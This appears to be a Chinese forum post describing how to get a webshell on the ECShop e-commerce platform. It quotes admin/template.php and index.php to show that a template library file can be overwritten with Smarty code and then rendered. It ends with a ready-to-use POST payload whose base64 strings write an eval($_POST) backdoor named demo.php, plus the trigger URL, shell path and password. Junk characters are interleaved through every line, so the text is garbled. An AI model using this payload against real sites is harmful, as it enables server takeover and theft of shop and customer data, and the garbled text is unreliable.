首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板3 L- }5 [9 z `
! i. Q# T( c( k" X% ~) A8 w( M3 S
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ j% E5 f( \, ]+ B
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码1 h# o2 X5 d7 W J( G6 R
admin/template.php
) s# o, v X* |9 W2 n) O; T) @ |
0 S, X+ E6 c& V, {' G2 M1 if ($_REQUEST['act'] == 'update_library') ( r' {# L, @; \6 c( O4 d+ ^7 R( Q
, P" A8 p0 I0 J1 E0 O3 S# c& r
2 0 J) K' g0 a) `# r4 T
; M' s- w- `4 X5 A* \3 { 6 @0 ~! h9 B: ~) m( W3 j, d- B8 n" [1 O/ n
9 ?2 G+ O9 U# e4 j
4 check_authz_json('library_manage');
) V" ?$ j+ m \* A. k
( o& A$ T( ~: B( O5 + z' c* x- L1 b9 [$ I& E- W6 ?
" V/ ]$ Z5 X3 N D- R6 $html = stripslashes(json_str_iconv($_POST['html'])); 2 U( j9 t: @' q$ t0 m
0 c2 a8 o. M( V) p/ O, q
7 2 D, a, i/ G7 T8 A1 h# ?
5 o$ d. T( |/ G/ K4 m, P, o, `. M
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 \ t: f: B7 q5 i. ?
* x& m" s/ E: k7 a
9
- q+ y" ~, i3 U2 E7 N+ S3 b/ B7 r0 d1 }. m! X: Y# b
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 U) o8 m! @' \5 Y
3 _6 V9 A- R) H# U3 H7 B
11
; F& \' y# V! X) n% a z* z& |, i ]4 L: l
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); }7 B$ w- Q1 C- _/ w
; T- s9 A" x7 H& {; S0 n/ f13 , A1 J# e6 \$ Z( V, n
+ u1 x6 c+ V. T& ?2 {! _
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 8 a. [ d q) }2 J I9 M% _4 f6 E1 W
# v" j3 A7 V9 J6 R5 P6 s; R15 {
( }1 @) k! @; |% s7 o9 x9 X# N% J/ C. [1 E; i# u" z# v2 I& R
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" w9 p& s0 P4 F7 O! p# K. c+ o- w/ R2 C) U! S7 r! `
17 make_json_result('', $_LANG['update_lib_success']); , E" B8 q. l( H+ z
' T3 i' d8 g6 `& w! G" e* y! m* t% ] @. R18 } + s- {' Y4 W! G5 L7 y' @* l+ q6 d
& N+ v+ P$ z1 y: r! V: O. v19 else : a6 a6 Q4 I. I, H$ n5 f
$ V+ ~8 O9 [( \8 W) L9 N9 W6 u
20 {
4 ?3 _) W) k" [% v
% i" P0 Y' R$ x$ U% [7 Z' e21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
6 E1 X! d4 q, S$ F9 Z9 U3 i( q0 f$ G7 X
22 } : p' _- d N: R9 i" I
+ {% r( F% m( A# t! `23 } $ d/ P+ ?; c& I' U
6 @3 y; ?3 `0 n6 D0 K# d: f
那么找个比较方便调用了模板的文件9 N7 @* q1 a: O9 C
index.php
5 {) x( z( K, `( R& v/ v' ~* p4 ], Q1 n! K7 k+ t
1 if ($act == 'cat_rec') ( P, O" L) [/ I
2 X- f) J# J: W+ l
2 2 }" [2 v- W5 P4 e" @8 J
! ^& ?( U! |+ A4 w( T7 M9 i: R7 d+ h3 {
0 s; Y' b0 ~. e6 j% P: t! g1 M7 b# F- x, {5 K/ q
4
/ z7 G( \' t5 ^4 k5 i
! ~ h G. R9 Q. ?5 k5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 C: I2 c3 x5 L6 E6 R% P6 a2 G) ?+ w0 x }5 P5 W5 [
6 : F$ w# c$ h6 ~. b& R" |* v
- d4 W* q- s2 o# b7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
$ C! b, A K8 L! m6 R
0 j- Q/ Q; e2 b# A" m2 U, n8
9 @. d% a( L( Q5 Y6 y0 |& W2 Q# v8 ]
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
$ \9 Z7 ~: z* C; W, \' F! r, I( x5 a* X/ B! v9 v
10
. N% o5 W. h s: |: z
6 Z1 l. g% x& q- Y$ q) g' I11 include_once('includes/cls_json.php'); 5 E x; _: q1 w( y k+ x8 s
0 |* q# F% X0 Q" b7 O2 m, j3 l
12
: L O7 I7 X" S. x( Q, ]; e" {% `! c _1 w& b
13 $json = new JSON; : a% j9 o; N" L4 x+ S8 y- ?
) R- k' i" s/ E14
. y1 Z0 L' G1 t7 g
5 X0 J3 T2 w1 N3 P! t8 S15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; z8 Z8 _5 }: ?8 h. s
7 F4 \2 a" w2 [, C H16
$ M. n! ` n5 J& e/ X C3 y0 v
& Y, B1 B* l {: g) i! t* n% s3 T17 $children = get_children($cat_id);
* ^+ P2 o( M1 _
4 h5 C2 o* K; ]5 L- n8 w4 \. {18
* M! W$ h# t. Y
4 m7 J @+ }' Q1 R* @/ B2 h19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
1 G. ^1 S8 n$ j, X4 S' C( ~$ i( S4 {) v6 x0 c- b
20 3 o5 I/ p! A4 @( I
. g! h7 x% }" B9 q2 x
21 $smarty->assign('cat_rec_sign', 1);
" Q" d5 y# s4 }' G$ i0 L0 l7 C$ H9 i% w( O$ D& ?
22
& b" [. d6 G8 k" N% l4 p9 r
" a5 T/ k2 b- N; q2 ?# L23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best : m& {" [- k2 F$ x
: }" `9 Y0 V# V' R4 C6 X24 # K G1 P. T: y( D$ X
' @! y6 \/ l8 X
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% Z n& d# p) h5 t1 n9 S: R; ^' C, F, W, u. O" m' O1 g$ N
26 " ?( ~- \* }! }- @
- i/ B3 k! ? L- c9 L* x
27 echo $rec_array[$rec_type]; - ]: b, W. s1 f7 x. M
1 l- s$ ?/ f. d28
! H- @; Y' h6 d. G, a2 Q' j! h- U% h) {' I5 B* A/ N$ s- J
29 die($json->encode($result)); ' J9 T/ L3 @" Z# ~9 Y* F# v3 o7 s' K
& L; I; \) p) Y: a30
) ?3 Z0 l0 Z7 {9 e4 _3 l4 X g
7 b1 s- g5 M! A# @* i9 E31 }
9 I) A+ Y; @* ^* ^$ G' [, f1 b: O- ^8 L. A% }0 g- a% j
那么就有利用方法了# [; Q5 J+ s; v1 ]% S0 z$ }' d
post包到http://localhost/ec/admin/template.php?act=update_library% x" M6 R0 w0 S
Post内容:
" g8 T, b- |3 P2 y" {# ^( L" N6 g; a9 b. |% S- c
# _+ Y0 n7 u" u( r2 K0 D1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
3 k g" P C- {% m3 ^2 G9 e& G7 G* M5 s: z
然后访问http://localhost/ec/index.php?act=cat_rec
+ J9 X2 G! m) B- ?8 q! B2 E. ?
; C z- {/ `- u; S* Jshel地址:http://localhost/ec/demo.php4 T. t' `8 l( V! v" N2 e
密码c
+ |5 a% @9 L% ^! D |% K6 d; D" R# @' d. P; m& t- s: q
|